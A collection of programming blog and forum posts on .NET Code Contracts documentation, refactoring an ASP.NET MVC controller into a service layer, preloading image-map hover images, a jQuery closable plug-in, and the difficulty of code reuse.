name="M:Eneta.Examples.CodeContracts.Testable.Randomizer.GetRandomFromRangeContracted(System.Int32,System.Int32)">       <summary>             Returns random integer in given range.             </summary>       <param name="min">Minimum value of random integer.</param>       <param name="max">Maximum value of random integer.</param>       <requires description="Min must be less than max" exception="T:System.ArgumentOutOfRangeException">                 min &lt; max</requires>       <exception cref="T:System.ArgumentOutOfRangeException">                 min &gt;= max</exception>       <ensures description="Return value is out of range">                 Contract.Result&lt;int&gt;() &gt;= min &amp;&amp;                 Contract.Result&lt;int&gt;() &lt;= max</ensures>     </member>   </members> </doc> As you can see then code contracts are pretty well documented. Messages that I provided with code contracts are also available in documentation. If I wrote very good and informative messages then these messages are very useful also in contracts documentation. Code contracts and Sandcastle Sandcastle knows nothing about code contracts by default. There is separate package of file for Sandcastle that is provided you by code contracts installation. You can read from code contracts manual: “Sandcastle (http://www.codeplex.com/Sandcastle) is a freely available tool that generates help les and web sites describing your APIs, based on the XML doc comments in your source code. The CodeContracts install contains a set of les that can be copied over a Sandcastle installation to take advantage of the additional contract information. The produced documentation adds a contract section to methods with declared requires and/or ensures. In order for Sandcastle to produce Contract sections, you need to patch a number of files in its installation. Please refer to the Sandcastle Readme.txt found under Start Menu/CodeContracts/Sandcastle for instructions. A future release of Sandcastle will hopefully support contract sections without the need for this patching step.” Integrating code contracts documentation to Sandcastle will be one of my next postings about code contracts. Conclusion if you are using code documentation then documentation about code contracts can be added to documentation very easily. All you have to do is to enable XML-documentation for contracts and build your project. Later you can use Sandcastle files provided by code contracts installer to integrate contracts documentation to your output documentation package.

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• ASP.NET MVC: Moving code from controller action to service layer

  - by DigiMortal

  I fixed one controller action in my application that doesn’t seemed good enough for me. It wasn’t big move I did but worth to show to beginners how nice code you can write when using correct layering in your application. As an example I use code from my posting ASP.NET MVC: How to implement invitation codes support. Problematic controller action Although my controller action works well I don’t like how it looks. It is too much for controller action in my opinion. [HttpPost] public ActionResult GetAccess(string accessCode) {     if(string.IsNullOrEmpty(accessCode.Trim()))     {         ModelState.AddModelError("accessCode", "Insert invitation code!");         return View();     }       Guid accessGuid;       try     {         accessGuid = Guid.Parse(accessCode);     }     catch     {         ModelState.AddModelError("accessCode", "Incorrect format of invitation code!");         return View();                    }       using(var ctx = new EventsEntities())     {         var user = ctx.GetNewUserByAccessCode(accessGuid);         if(user == null)         {             ModelState.AddModelError("accessCode", "Cannot find account with given invitation code!");             return View();         }           user.UserToken = User.Identity.GetUserToken();         ctx.SaveChanges();     }       Session["UserId"] = accessGuid;       return Redirect("~/admin"); } Looking at this code my first idea is that all this access code stuff must be located somewhere else. We have working functionality in wrong place and we should do something about it. Service layer I add layers to my application very carefully because I don’t like to use hand grenade to kill a fly. When I see real need for some layer and it doesn’t add too much complexity I will add new layer. Right now it is good time to add service layer to my small application. After that it is time to move code to service layer and inject service class to controller. public interface IUserService {     bool ClaimAccessCode(string accessCode, string userToken,                          out string errorMessage);       // Other methods of user service } I need this interface when writing unit tests because I need fake service that doesn’t communicate with database and other external sources. public class UserService : IUserService {     private readonly IDataContext _context;       public UserService(IDataContext context)     {         _context = context;     }       public bool ClaimAccessCode(string accessCode, string userToken, out string errorMessage)     {         if (string.IsNullOrEmpty(accessCode.Trim()))         {             errorMessage = "Insert invitation code!";             return false;         }           Guid accessGuid;         if (!Guid.TryParse(accessCode, out accessGuid))         {             errorMessage = "Incorrect format of invitation code!";             return false;         }           var user = _context.GetNewUserByAccessCode(accessGuid);         if (user == null)         {             errorMessage = "Cannot find account with given invitation code!";             return false;         }           user.UserToken = userToken;         _context.SaveChanges();           errorMessage = string.Empty;         return true;     } } Right now I used simple solution for errors and made access code claiming method to follow usual TrySomething() methods pattern. This way I can keep error messages and their retrieval away from controller and in controller I just mediate error message from service to view. Controller Now all the code is moved to service layer and we need also some modifications to controller code so it makes use of users service. I don’t show here DI/IoC details about how to give service instance to controller. GetAccess() action of controller looks like this right now. [HttpPost] public ActionResult GetAccess(string accessCode) {     var userToken = User.Identity.GetUserToken();     string errorMessage;       if (!_userService.ClaimAccessCode(accessCode, userToken,                                       out errorMessage))     {                       ModelState.AddModelError("accessCode", errorMessage);         return View();     }       Session["UserId"] = Guid.Parse(accessCode);     return Redirect("~/admin"); } It’s short and nice now and it deals with web site part of access code claiming. In the case of error user is shown access code claiming view with error message that ClaimAccessCode() method returns as output parameter. If everything goes fine then access code is reserved for current user and user is authenticated. Conclusion When controller action grows big you have to move code to layers it actually belongs. In this posting I showed you how I moved access code claiming functionality from controller action to user service class that belongs to service layer of my application. As the result I have controller action that coordinates the user interaction when going through access code claiming process. Controller communicates with service layer and gets information about how access code claiming succeeded.

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• How to improve performance of map that loads new overlay images

  - by anthonysomerset

  I have inherited a website to maintain that uses a html map overlaying a real map to link specific countries to specific pages. previously it loaded the default map image, then with some javascript it would change the image src to an image with that particular country in a different colour on mouseover and reset the image source back to the original image on mouse out to make maintenance (adding new countries) easier i made the initial map a background image by utilising some CSS for the div tag, and then created new images for each country which only had that countries hightlight so that the images remain fairly small. this works great but theres one issue which is particularly noticeable on slower internet connections when you hover over a country if you dont have the image file in your browser cache or downloaded it wont load the image unless you hover over another country and then back onto the first country - i guess this is due to the image having to manually be downloaded on first hover. My question: is it possible to force the load of these extra images AFTER the page and all the other assets have finished loading so that this behaviour is all but eliminated? the html code for the MAP is as follows: <div class="gtmap"><img id="Image-Maps_6200909211657061" src="<?php echo cdnhttpsCheck(); ?>assets/wmap/a-guided-tours-map-blank.png" usemap="#Image-Maps_6200909211657061" alt="We offer Guided Motorcycle Tours all around the world" width="615" height="296" /> <map id="_Image-Maps_6200909211657061" name="Image-Maps_6200909211657061"> <area shape="poly" coords="511,134,532,107,542,113,520,141" href="/guided-motorcycle-tours-japan/" alt="Guided Japan Motorcycle Tours" title="Japan" onmouseover="if(document.images) document.getElementById('Image-Maps_6200909211657061').src='<?php echo cdnhttpsCheck(); ?>assets/wmap/a-guided-tours-map-japan.png';" onmouseout="if(document.images) document.getElementById('Image-Maps_6200909211657061').src='<?php echo cdnhttpsCheck(); ?>assets/wmap/a-guided-tours-map-blank.png';" /> <area shape="poly" coords="252,61,266,58,275,64,262,68" href="/guided-motorcycle-tour.php?iceland-motorcycle-adventure-39" alt="Guided Iceland Motorcycle Tours" title="Iceland" onmouseover="if(document.images) document.getElementById('Image-Maps_6200909211657061').src='<?php echo cdnhttpsCheck(); ?>assets/wmap/a-guided-tours-map-iceland.png';" onmouseout="if(document.images) document.getElementById('Image-Maps_6200909211657061').src='<?php echo cdnhttpsCheck(); ?>assets/wmap/a-guided-tours-map-blank.png';" /> <area shape="poly" coords="587,246,597,256,577,279,568,270" href="/guided-motorcycle-tour.php?new-zealand-south-island-adventure-10" alt="New Zealand Guided Motorcycle Tours" title="New Zealand" onmouseover="if(document.images) document.getElementById('Image-Maps_6200909211657061').src='<?php echo cdnhttpsCheck(); ?>assets/wmap/a-guided-tours-map-nz.png';" onmouseout="if(document.images) document.getElementById('Image-Maps_6200909211657061').src='<?php echo cdnhttpsCheck(); ?>assets/wmap/a-guided-tours-map-blank.png';" /> <area shape="poly" coords="418,133,412,145,412,154,421,178,430,180,430,166,443,154,443,145,438,144,433,142,430,138,431,130,430,129,425,128" href="/guided-motorcycle-tours-india/" alt="India Guided Motorcycle Tours" title="India" onmouseover="if(document.images) document.getElementById('Image-Maps_6200909211657061').src='<?php echo cdnhttpsCheck(); ?>assets/wmap/a-guided-tours-map-india.png';" onmouseout="if(document.images) document.getElementById('Image-Maps_6200909211657061').src='<?php echo cdnhttpsCheck(); ?>assets/wmap/a-guided-tours-map-blank.png';" /> <area shape="poly" coords="460,152,466,149,474,165,470,171,466,161" href="/guided-motorcycle-tours-laos/" alt="Laos Guided Motorcycle Tours" title="Laos" onmouseover="if(document.images) document.getElementById('Image-Maps_6200909211657061').src='<?php echo cdnhttpsCheck(); ?>assets/wmap/a-guided-tours-map-laos.png';" onmouseout="if(document.images) document.getElementById('Image-Maps_6200909211657061').src='<?php echo cdnhttpsCheck(); ?>assets/wmap/a-guided-tours-map-blank.png';" /> <area shape="poly" coords="468,179,475,166,468,152,475,152,482,169" href="/guided-motorcycle-tour.php?indochina-motorcycle-adventure-tour-32" onClick="javascript: pageTracker._trackPageview('/internal-links/guided-tours/map/vietnam');" alt="Vietnam Guided Motorcycle Tours" title="Vietnam" onmouseover="if(document.images) document.getElementById('Image-Maps_6200909211657061').src='<?php echo cdnhttpsCheck(); ?>assets/wmap/a-guided-tours-map-viet.png';" onmouseout="if(document.images) document.getElementById('Image-Maps_6200909211657061').src='<?php echo cdnhttpsCheck(); ?>assets/wmap/a-guided-tours-map-blank.png';" /> <area shape="poly" coords="330,239,337,235,347,226,352,233,351,243,344,250,335,253,327,255,323,249,322,242,323,241" href="/guided-motorcycle-tours-southafrica/" alt="South Africa Guided Motorcycle Tours" title="South Africa" onmouseover="if(document.images) document.getElementById('Image-Maps_6200909211657061').src='<?php echo cdnhttpsCheck(); ?>assets/wmap/a-guided-tours-map-sa.png';" onmouseout="if(document.images) document.getElementById('Image-Maps_6200909211657061').src='<?php echo cdnhttpsCheck(); ?>assets/wmap/a-guided-tours-map-blank.png';" /> <area shape="poly" coords="290,77,293,86,298,96,286,102,285,97,285,89,282,84,282,79" href="/guided-motorcycle-tour.php?great-britain-isle-of-man-scotland-wales-uk-18" alt="United Kingdom" title="United Kingdom Guided Motorcycle Tours" onmouseover="if(document.images) document.getElementById('Image-Maps_6200909211657061').src='<?php echo cdnhttpsCheck(); ?>assets/wmap/a-guided-tours-map-uk.png';" onmouseout="if(document.images) document.getElementById('Image-Maps_6200909211657061').src='<?php echo cdnhttpsCheck(); ?>assets/wmap/a-guided-tours-map-blank.png';" /> <area shape="poly" coords="357,118,368,118,369,126,345,129,338,125,338,117,342,115,348,116" href="/guided-motorcycle-tour.php?explore-turkey-adventure-45" alt="Turkey" title="Turkey Guided Motorcycle Tours" onmouseover="if(document.images) document.getElementById('Image-Maps_6200909211657061').src='<?php echo cdnhttpsCheck(); ?>assets/wmap/a-guided-tours-map-turkey.png';" onmouseout="if(document.images) document.getElementById('Image-Maps_6200909211657061').src='<?php echo cdnhttpsCheck(); ?>assets/wmap/a-guided-tours-map-blank.png';" /> <area shape="poly" coords="206,95,193,101,185,101,178,106,165,111,157,109,147,105,134,103,121,103,107,103,96,103,86,104,81,99,77,91,70,83,62,79,60,72,61,64,59,57,60,51,71,50,83,49,95,50,107,54,117,53,129,47,137,36,148,37,163,38,177,44,187,54,195,60,184,72,191,80,200,87" href="/guided-motorcycle-tours-canada/" alt="Guided Canada Motorcycle Tours" title="Canada" onmouseover="if(document.images) document.getElementById('Image-Maps_6200909211657061').src='<?php echo cdnhttpsCheck(); ?>assets/wmap/a-guided-tours-map-canada.png';" onmouseout="if(document.images) document.getElementById('Image-Maps_6200909211657061').src='<?php echo cdnhttpsCheck(); ?>assets/wmap/a-guided-tours-map-blank.png';" /> <area shape="poly" coords="61,75,60,62,60,55,59,44,51,44,43,43,36,42,28,43,23,48,17,51,15,62,19,74,27,79,19,83,16,93,35,83,43,77,50,75,55,75" href="/guided-motorcycle-tours-alaska/" alt="Guided Alaska Motorcycle Tours" title="Alaska" onmouseover="if(document.images) document.getElementById('Image-Maps_6200909211657061').src='<?php echo cdnhttpsCheck(); ?>assets/wmap/a-guided-tours-map-alaska.png';" onmouseout="if(document.images) document.getElementById('Image-Maps_6200909211657061').src='<?php echo cdnhttpsCheck(); ?>assets/wmap/a-guided-tours-map-blank.png';" /> <area shape="poly" coords="82,101,99,101,133,101,148,105,161,110,172,106,187,100,180,113,171,122,165,131,159,149,147,141,137,140,129,147,120,141,112,138,103,137,93,132,86,122,86,112,86,106" href="/guided-motorcycle-tours-usa/" alt="USA Guided Motorcycle Tours" title="USA" onmouseover="if(document.images) document.getElementById('Image-Maps_6200909211657061').src='<?php echo cdnhttpsCheck(); ?>assets/wmap/a-guided-tours-map-usa.png';" onmouseout="if(document.images) document.getElementById('Image-Maps_6200909211657061').src='<?php echo cdnhttpsCheck(); ?>assets/wmap/a-guided-tours-map-blank.png';" /> <area shape="poly" coords="178,225,180,214,175,208,174,204,178,198,174,193,167,192,157,199,158,204,164,211,167,218" href="/guided-motorcycle-tour.php?peru-machu-picchu-adventure-25" alt="Peru Guided Motorcycle Tours" title="Peru" onmouseover="if(document.images) document.getElementById('Image-Maps_6200909211657061').src='<?php echo cdnhttpsCheck(); ?>assets/wmap/a-guided-tours-map-peru.png';" onmouseout="if(document.images) document.getElementById('Image-Maps_6200909211657061').src='<?php echo cdnhttpsCheck(); ?>assets/wmap/a-guided-tours-map-blank.png';" /> <area shape="poly" coords="172,226,169,239,166,256,166,267,164,279,171,277,174,262,175,250,179,234,180,225,176,224" href="/guided-motorcycle-tours-chile/" alt="Guided Chile Motorcycle Tours" title="Chile" onmouseover="if(document.images) document.getElementById('Image-Maps_6200909211657061').src='<?php echo cdnhttpsCheck(); ?>assets/wmap/a-guided-tours-map-chile.png';" onmouseout="if(document.images) document.getElementById('Image-Maps_6200909211657061').src='<?php echo cdnhttpsCheck(); ?>assets/wmap/a-guided-tours-map-blank.png';" /> <area shape="poly" coords="199,260,194,261,187,265,184,276,183,296,170,292,168,282,174,270,174,257,177,245,180,230,190,228,205,237,199,245" href="/guided-motorcycle-tours-argentina/" alt="Guided Argentina Motorcycle Tours" title="Argentina" onmouseover="if(document.images) document.getElementById('Image-Maps_6200909211657061').src='<?php echo cdnhttpsCheck(); ?>assets/wmap/a-guided-tours-map-arg.png';" onmouseout="if(document.images) document.getElementById('Image-Maps_6200909211657061').src='<?php echo cdnhttpsCheck(); ?>assets/wmap/a-guided-tours-map-blank.png';" /> </map> </div> The <?php echo cdnhttpsCheck(); ?> is just a site specific function that gets the correct web domain/url from a config file to load resources from CDN where possible (eg all non HTTPS requests) We are loading Jquery at the bottom of the HTML if anybody wonders why it is missing from the code snippet for reference, the page with the map in question is found here: http://www.motoquest.com/guided-motorcycle-tours/

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• A Closable jQuery Plug-in

  - by Rick Strahl

  In my client side development I deal a lot with content that pops over the main page. Be it data entry ‘windows’ or dialogs or simple pop up notes. In most cases this behavior goes with draggable windows, but sometimes it’s also useful to have closable behavior on static page content that the user can choose to hide or otherwise make invisible or fade out. Here’s a small jQuery plug-in that provides .closable() behavior to most elements by using either an image that is provided or – more appropriately by using a CSS class to define the picture box layout. /* * * Closable * * Makes selected DOM elements closable by making them * invisible when close icon is clicked * * Version 1.01 * @requires jQuery v1.3 or later * * Copyright (c) 2007-2010 Rick Strahl * http://www.west-wind.com/ * * Licensed under the MIT license: * http://www.opensource.org/licenses/mit-license.php Support CSS: .closebox { position: absolute; right: 4px; top: 4px; background-image: url(images/close.gif); background-repeat: no-repeat; width: 14px; height: 14px; cursor: pointer; opacity: 0.60; filter: alpha(opacity="80"); } .closebox:hover { opacity: 0.95; filter: alpha(opacity="100"); } Options: * handle Element to place closebox into (like say a header). Use if main element and closebox container are two different elements. * closeHandler Function called when the close box is clicked. Return true to close the box return false to keep it visible. * cssClass The CSS class to apply to the close box DIV or IMG tag. * imageUrl Allows you to specify an explicit IMG url that displays the close icon. If used bypasses CSS image styling. * fadeOut Optional provide fadeOut speed. Default no fade out occurs */ (function ($) { $.fn.closable = function (options) { var opt = { handle: null, closeHandler: null, cssClass: "closebox", imageUrl: null, fadeOut: null }; $.extend(opt, options); return this.each(function (i) { var el = $(this); var pos = el.css("position"); if (!pos || pos == "static") el.css("position", "relative"); var h = opt.handle ? $(opt.handle).css({ position: "relative" }) : el; var div = opt.imageUrl ? $("<img>").attr("src", opt.imageUrl).css("cursor", "pointer") : $("<div>"); div.addClass(opt.cssClass) .click(function (e) { if (opt.closeHandler) if (!opt.closeHandler.call(this, e)) return; if (opt.fadeOut) $(el).fadeOut(opt.fadeOut); else $(el).hide(); }); if (opt.imageUrl) div.css("background-image", "none"); h.append(div); }); } })(jQuery); The plugin can be applied against any selector that is a container (typically a div tag). The close image or close box is provided typically by way of a CssClass - .closebox by default – which supplies the image as part of the CSS styling. The default styling for the box looks something like this: .closebox { position: absolute; right: 4px; top: 4px; background-image: url(images/close.gif); background-repeat: no-repeat; width: 14px; height: 14px; cursor: pointer; opacity: 0.60; filter: alpha(opacity="80"); } .closebox:hover { opacity: 0.95; filter: alpha(opacity="100"); } Alternately you can also supply an image URL which overrides the background image in the style sheet. I use this plug-in mostly on pop up windows that can be closed, but it’s also quite handy for remove/delete behavior in list displays like this: you can find this sample here to look to play along: http://www.west-wind.com/WestwindWebToolkit/Samples/Ajax/AmazonBooks/BooksAdmin.aspx For closable windows it’s nice to have something reusable because in my client framework there are lots of different kinds of windows that can be created: Draggables, Modal Dialogs, HoverPanels etc. and they all use the client .closable plug-in to provide the closable operation in the same way with a few options. Plug-ins are great for this sort of thing because they can also be aggregated and so different components can pick and choose the behavior they want. The window here is a draggable, that’s closable and has shadow behavior and the server control can simply generate the appropriate plug-ins to apply to the main <div> tag: $().ready(function() { $('#ctl00_MainContent_panEditBook') .closable({ handle: $('#divEditBook_Header') }) .draggable({ dragDelay: 100, handle: '#divEditBook_Header' }) .shadow({ opacity: 0.25, offset: 6 }); }) The window is using the default .closebox style and has its handle set to the header bar (Book Information). The window is just closable to go away so no event handler is applied. Actually I cheated – the actual page’s .closable is a bit more ugly in the sample as it uses an image from a resources file: .closable({ imageUrl: '/WestWindWebToolkit/Samples/WebResource.axd?d=TooLongAndNastyToPrint', handle: $('#divEditBook_Header')}) so you can see how to apply a custom image, which in this case is generated by the server control wrapping the client DragPanel. More interesting maybe is to apply the .closable behavior to list scenarios. For example, each of the individual items in the list display also are .closable using this plug-in. Rather than having to define each item with Html for an image, event handler and link, when the client template is rendered the closable behavior is attached to the list. Here I’m using client-templating and the code that this is done with looks like this: function loadBooks() { showProgress(); // Clear the content $("#divBookListWrapper").empty(); var filter = $("#" + scriptVars.lstFiltersId).val(); Proxy.GetBooks(filter, function(books) { $(books).each(function(i) { updateBook(this); showProgress(true); }); }, onPageError); } function updateBook(book,highlight) { // try to retrieve the single item in the list by tag attribute id var item = $(".bookitem[tag=" +book.Pk +"]"); // grab and evaluate the template var html = parseTemplate(template, book); var newItem = $(html) .attr("tag", book.Pk.toString()) .click(function() { var pk = $(this).attr("tag"); editBook(this, parseInt(pk)); }) .closable({ closeHandler: function(e) { removeBook(this, e); }, imageUrl: "../../images/remove.gif" }); if (item.length > 0) item.after(newItem).remove(); else newItem.appendTo($("#divBookListWrapper")); if (highlight) { newItem .addClass("pulse") .effect("bounce", { distance: 15, times: 3 }, 400); setTimeout(function() { newItem.removeClass("pulse"); }, 1200); } } Here the closable behavior is applied to each of the items along with an event handler, which is nice and easy compared to having to embed the right HTML and click handling into each item in the list individually via markup. Ideally though (and these posts make me realize this often a little late) I probably should set up a custom cssClass to handle the rendering – maybe a CSS class called .removebox that only changes the image from the default box image. This example also hooks up an event handler that is fired in response to the close. In the list I need to know when the remove button is clicked so I can fire of a service call to the server to actually remove the item from the database. The handler code can also return false; to indicate that the window should not be closed optionally. Returning true will close the window. You can find more information about the .closable class behavior and options here: .closable Documentation Plug-ins make Server Control JavaScript much easier I find this plug-in immensely useful especial as part of server control code, because it simplifies the code that has to be generated server side tremendously. This is true of plug-ins in general which make it so much easier to create simple server code that only generates plug-in options, rather than full blocks of JavaScript code.  For example, here’s the relevant code from the DragPanel server control which generates the .closable() behavior: if (this.Closable && !string.IsNullOrEmpty(DragHandleID) ) { string imageUrl = this.CloseBoxImage; if (imageUrl == "WebResource" ) imageUrl = ScriptProxy.GetWebResourceUrl(this, this.GetType(), ControlResources.CLOSE_ICON_RESOURCE); StringBuilder closableOptions = new StringBuilder("imageUrl: '" + imageUrl + "'"); if (!string.IsNullOrEmpty(this.DragHandleID)) closableOptions.Append(",handle: $('#" + this.DragHandleID + "')"); if (!string.IsNullOrEmpty(this.ClientDialogHandler)) closableOptions.Append(",handler: " + this.ClientDialogHandler); if (this.FadeOnClose) closableOptions.Append(",fadeOut: 'slow'"); startupScript.Append(@" .closable({ " + closableOptions + "})"); } The same sort of block is then used for .draggable and .shadow which simply sets options. Compared to the code I used to have in pre-jQuery versions of my JavaScript toolkit this is a walk in the park. In those days there was a bunch of JS generation which was ugly to say the least. I know a lot of folks frown on using server controls, especially the UI is client centric as the example is. However, I do feel that server controls can greatly simplify the process of getting the right behavior attached more easily and with the help of IntelliSense. Often the script markup is easier is especially if you are dealing with complex, multiple plug-in associations that often express more easily with property values on a control. Regardless of whether server controls are your thing or not this plug-in can be useful in many scenarios. Even in simple client-only scenarios using a plug-in with a few simple parameters is nicer and more consistent than creating the HTML markup over and over again. I hope some of you find this even a small bit as useful as I have. Related Links Download jquery.closable West Wind Web Toolkit jQuery Plug-ins © Rick Strahl, West Wind Technologies, 2005-2010Posted in jQuery   ASP.NET  JavaScript  

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• Code Reuse is (Damn) Hard

  - by James Michael Hare

  Being a development team lead, the task of interviewing new candidates was part of my job.  Like any typical interview, we started with some easy questions to get them warmed up and help calm their nerves before hitting the hard stuff. One of those easier questions was almost always: “Name some benefits of object-oriented development.”  Nearly every time, the candidate would chime in with a plethora of canned answers which typically included: “it helps ease code reuse.”  Of course, this is a gross oversimplification.  Tools only ease reuse, its developers that ultimately can cause code to be reusable or not, regardless of the language or methodology. But it did get me thinking…  we always used to say that as part of our mantra as to why Object-Oriented Programming was so great.  With polymorphism, inheritance, encapsulation, etc. we in essence set up the concepts to help facilitate reuse as much as possible.  And yes, as a developer now of many years, I unquestionably held that belief for ages before it really struck me how my views on reuse have jaded over the years.  In fact, in many ways Agile rightly eschews reuse as taking a backseat to developing what's needed for the here and now.  It used to be I was in complete opposition to that view, but more and more I've come to see the logic in it.  Too many times I've seen developers (myself included) get lost in design paralysis trying to come up with the perfect abstraction that would stand all time.  Nearly without fail, all of these pieces of code become obsolete in a matter of months or years. It’s not that I don’t like reuse – it’s just that reuse is hard.  In fact, reuse is DAMN hard.  Many times it is just a distraction that eats up architect and developer time, and worse yet can be counter-productive and force wrong decisions.  Now don’t get me wrong, I love the idea of reusable code when it makes sense.  These are in the few cases where you are designing something that is inherently reusable.  The problem is, most business-class code is inherently unfit for reuse! Furthermore, the code that is reusable will often fail to be reused if you don’t have the proper framework in place for effective reuse that includes standardized versioning, building, releasing, and documenting the components.  That should always be standard across the board when promoting reusable code.  All of this is hard, and it should only be done when you have code that is truly reusable or you will be exerting a large amount of development effort for very little bang for your buck. But my goal here is not to get into how to reuse (that is a topic unto itself) but what should be reused.  First, let’s look at an extension method.  There’s many times where I want to kick off a thread to handle a task, then when I want to reign that thread in of course I want to do a Join on it.  But what if I only want to wait a limited amount of time and then Abort?  Well, I could of course write that logic out by hand each time, but it seemed like a great extension method: 1: public static class ThreadExtensions 2: { 3: public static bool JoinOrAbort(this Thread thread, TimeSpan timeToWait) 4: { 5: bool isJoined = false; 6:  7: if (thread != null) 8: { 9: isJoined = thread.Join(timeToWait); 10:  11: if (!isJoined) 12: { 13: thread.Abort(); 14: } 15: } 16: return isJoined; 17: } 18: } 19:  When I look at this code, I can immediately see things that jump out at me as reasons why this code is very reusable.  Some of them are standard OO principles, and some are kind-of home grown litmus tests: Single Responsibility Principle (SRP) – The only reason this extension method need change is if the Thread class itself changes (one responsibility). Stable Dependencies Principle (SDP) – This method only depends on classes that are more stable than it is (System.Threading.Thread), and in itself is very stable, hence other classes may safely depend on it. It is also not dependent on any business domain, and thus isn't subject to changes as the business itself changes. Open-Closed Principle (OCP) – This class is inherently closed to change. Small and Stable Problem Domain – This method only cares about System.Threading.Thread. All-or-None Usage – A user of a reusable class should want the functionality of that class, not parts of that functionality.  That’s not to say they most use every method, but they shouldn’t be using a method just to get half of its result. Cost of Reuse vs. Cost to Recreate – since this class is highly stable and minimally complex, we can offer it up for reuse very cheaply by promoting it as “ready-to-go” and already unit tested (important!) and available through a standard release cycle (very important!). Okay, all seems good there, now lets look at an entity and DAO.  I don’t know about you all, but there have been times I’ve been in organizations that get the grand idea that all DAOs and entities should be standardized and shared.  While this may work for small or static organizations, it’s near ludicrous for anything large or volatile. 1: namespace Shared.Entities 2: { 3: public class Account 4: { 5: public int Id { get; set; } 6:  7: public string Name { get; set; } 8:  9: public Address HomeAddress { get; set; } 10:  11: public int Age { get; set;} 12:  13: public DateTime LastUsed { get; set; } 14:  15: // etc, etc, etc... 16: } 17: } 18:  19: ... 20:  21: namespace Shared.DataAccess 22: { 23: public class AccountDao 24: { 25: public Account FindAccount(int id) 26: { 27: // dao logic to query and return account 28: } 29:  30: ... 31:  32: } 33: } Now to be fair, I’m not saying there doesn’t exist an organization where some entites may be extremely static and unchanging.  But at best such entities and DAOs will be problematic cases of reuse.  Let’s examine those same tests: Single Responsibility Principle (SRP) – The reasons to change for these classes will be strongly dependent on what the definition of the account is which can change over time and may have multiple influences depending on the number of systems an account can cover. Stable Dependencies Principle (SDP) – This method depends on the data model beneath itself which also is largely dependent on the business definition of an account which can be very inherently unstable. Open-Closed Principle (OCP) – This class is not really closed for modification.  Every time the account definition may change, you’d need to modify this class. Small and Stable Problem Domain – The definition of an account is inherently unstable and in fact may be very large.  What if you are designing a system that aggregates account information from several sources? All-or-None Usage – What if your view of the account encompasses data from 3 different sources but you only care about one of those sources or one piece of data?  Should you have to take the hit of looking up all the other data?  On the other hand, should you have ten different methods returning portions of data in chunks people tend to ask for?  Neither is really a great solution. Cost of Reuse vs. Cost to Recreate – DAOs are really trivial to rewrite, and unless your definition of an account is EXTREMELY stable, the cost to promote, support, and release a reusable account entity and DAO are usually far higher than the cost to recreate as needed. It’s no accident that my case for reuse was a utility class and my case for non-reuse was an entity/DAO.  In general, the smaller and more stable an abstraction is, the higher its level of reuse.  When I became the lead of the Shared Components Committee at my workplace, one of the original goals we looked at satisfying was to find (or create), version, release, and promote a shared library of common utility classes, frameworks, and data access objects.  Now, of course, many of you will point to nHibernate and Entity for the latter, but we were looking at larger, macro collections of data that span multiple data sources of varying types (databases, web services, etc). As we got deeper and deeper in the details of how to manage and release these items, it quickly became apparent that while the case for reuse was typically a slam dunk for utilities and frameworks, the data access objects just didn’t “smell” right.  We ended up having session after session of design meetings to try and find the right way to share these data access components. When someone asked me why it was taking so long to iron out the shared entities, my response was quite simple, “Reuse is hard...”  And that’s when I realized, that while reuse is an awesome goal and we should strive to make code maintainable, often times you end up creating far more work for yourself than necessary by trying to force code to be reusable that inherently isn’t. Think about classes the times you’ve worked in a company where in the design session people fight over the best way to implement a class to make it maximally reusable, extensible, and any other buzzwordable.  Then think about how quickly that design became obsolete.  Many times I set out to do a project and think, “yes, this is the best design, I can extend it easily!” only to find out the business requirements change COMPLETELY in such a way that the design is rendered invalid.  Code, in general, tends to rust and age over time.  As such, writing reusable code can often be difficult and many times ends up being a futile exercise and worse yet, sometimes makes the code harder to maintain because it obfuscates the design in the name of extensibility or reusability. So what do I think are reusable components? Generic Utility classes – these tend to be small classes that assist in a task and have no business context whatsoever. Implementation Abstraction Frameworks – home-grown frameworks that try to isolate changes to third party products you may be depending on (like writing a messaging abstraction layer for publishing/subscribing that is independent of whether you use JMS, MSMQ, etc). Simplification and Uniformity Frameworks – To some extent this is similar to an abstraction framework, but there may be one chosen provider but a development shop mandate to perform certain complex items in a certain way.  Or, perhaps to simplify and dumb-down a complex task for the average developer (such as implementing a particular development-shop’s method of encryption). And what are less reusable? Application and Business Layers – tend to fluctuate a lot as requirements change and new features are added, so tend to be an unstable dependency.  May be reused across applications but also very volatile. Entities and Data Access Layers – these tend to be tuned to the scope of the application, so reusing them can be hard unless the abstract is very stable. So what’s the big lesson?  Reuse is hard.  In fact it’s damn hard.  And much of the time I’m not convinced we should focus too hard on it. If you’re designing a utility or framework, then by all means design it for reuse.  But you most also really set down a good versioning, release, and documentation process to maximize your chances.  For anything else, design it to be maintainable and extendable, but don’t waste the effort on reusability for something that most likely will be obsolete in a year or two anyway.

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